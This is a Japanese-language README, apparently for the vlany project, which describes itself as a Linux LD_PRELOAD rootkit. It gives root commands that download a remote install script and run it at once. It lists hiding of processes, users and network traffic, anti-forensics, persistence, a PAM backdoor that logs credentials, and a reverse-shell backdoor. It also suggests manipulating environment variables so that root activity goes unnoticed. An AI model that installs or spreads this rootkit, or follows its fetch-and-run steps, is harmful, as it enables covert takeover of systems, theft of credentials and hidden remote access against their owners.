vlany

VLANY は保守されなくなりました。

https://github.com/naworkcaj/bdvl です。継続的な更新については、それを参照してください。

ヴラニー (wiki)

vlany は Linux LD_PRELOAD ルートキットです。

• 機能一覧
  
• 検出防止

インストール中

• vlany の Quick_install.sh スクリプトは、最も速くて簡単なインストール方法です。
  root@vlany:~# wget https://gist.githubusercontent.com/mempodippy/d93fd99164bace9e63752afb791a896b/raw/6b06d235beac8590f56c47b7f46e2e4fac9cf584/quick_install.sh -O /tmp/quick_install.sh && chmod +x /tmp/quick_install.sh && /tmp/quick_install.sh
  
  Quick_install.sh スクリプトは、このリポジトリから vlany の最新バージョンを自動的にダウンロードし、アーカイブを解凍して、/tmp/ 内の新しいランダム ディレクトリから通常のインストール スクリプトを実行します。デフォルトでは、quick_install.sh スクリプトは、実行が完全に終了すると、新しいディレクトリを削除します。
  

• vlany には自動インストール スクリプトが付属しているため、システムにインストールするのは非常に簡単です。
  vlany をインストールするには、まず GitHub からダウンロードします (常に最新で信頼できる)。
  root@vlany:~# wget https://github.com/mempodippy/vlany/archive/master.tar.gz && tar xvpfz master.tar.gz

• ダウンロードしたら、vlany-master 内でinstall.sh実行するだけです。
  root@vlany:~# cd vlany-master && ./install.sh
  デフォルトでは、tui インストールを求めるプロンプトが表示されますが、cli が優先される場合は、--cli 引数を使用して同様の cli インストールを呼び出すことができます。
  

インストールのアスキーキャスト

suid バイナリを使用して tmp ユーザーから権限を昇格させる、Debian 8 ボックスへの通常の tui インストール。実際のシナリオでは、root 時のアクティビティが誰にも見られないように、いくつかの環境変数を操作する必要があるでしょう。

ダウンロード

クイックインストール.sh
vlany.tar.gz
設定された const.h (config.py 実行後)

特徴

• プロセスの隠蔽
• ユーザーの非表示
• ネットワークの隠蔽
• LXCコンテナ
• アンチデバッグ
• アンチフォレンジック
• 永続的 (再) インストールと検出防止
• 動的リンカーの変更
• バックドア
  • accept() バックドア (Jynx2 から派生)
  • PAM バックドア
    • PAM認証ロガー
  • snodew リバースシェルバックドア
• vlany 専用コマンド

既知のバグ

ここにリストされているバグは、解決されるまで存在します。バグが問題として報告されている場合、対応する問題もバグ リストにリンクされます。バグが解決された場合、リストはここから削除され、バグに関して未解決の問題がある場合はクローズされます。

重大なバグ

1. 現在、実験的な再起動ブリック修正が行われています。一部のシステムはブリックしますが、他のシステムはブリックしません。再起動時にブリックするシステムを問題として報告し、vlany のインストール状況をレポートに記載してください。 「問題」ページを見て、同様の問題がすでに送信されているかどうかを確認してください。
2. vlany は CentOS 6.6 以降では正しくインストールできません。

詳細な README.txt (非常に詳細ですが、メンテナンスされていません)

注: vlany は現在開発中です。このリポジトリには常に変更が加えられているため、vlany は非常に実験的なものであることに注意してください。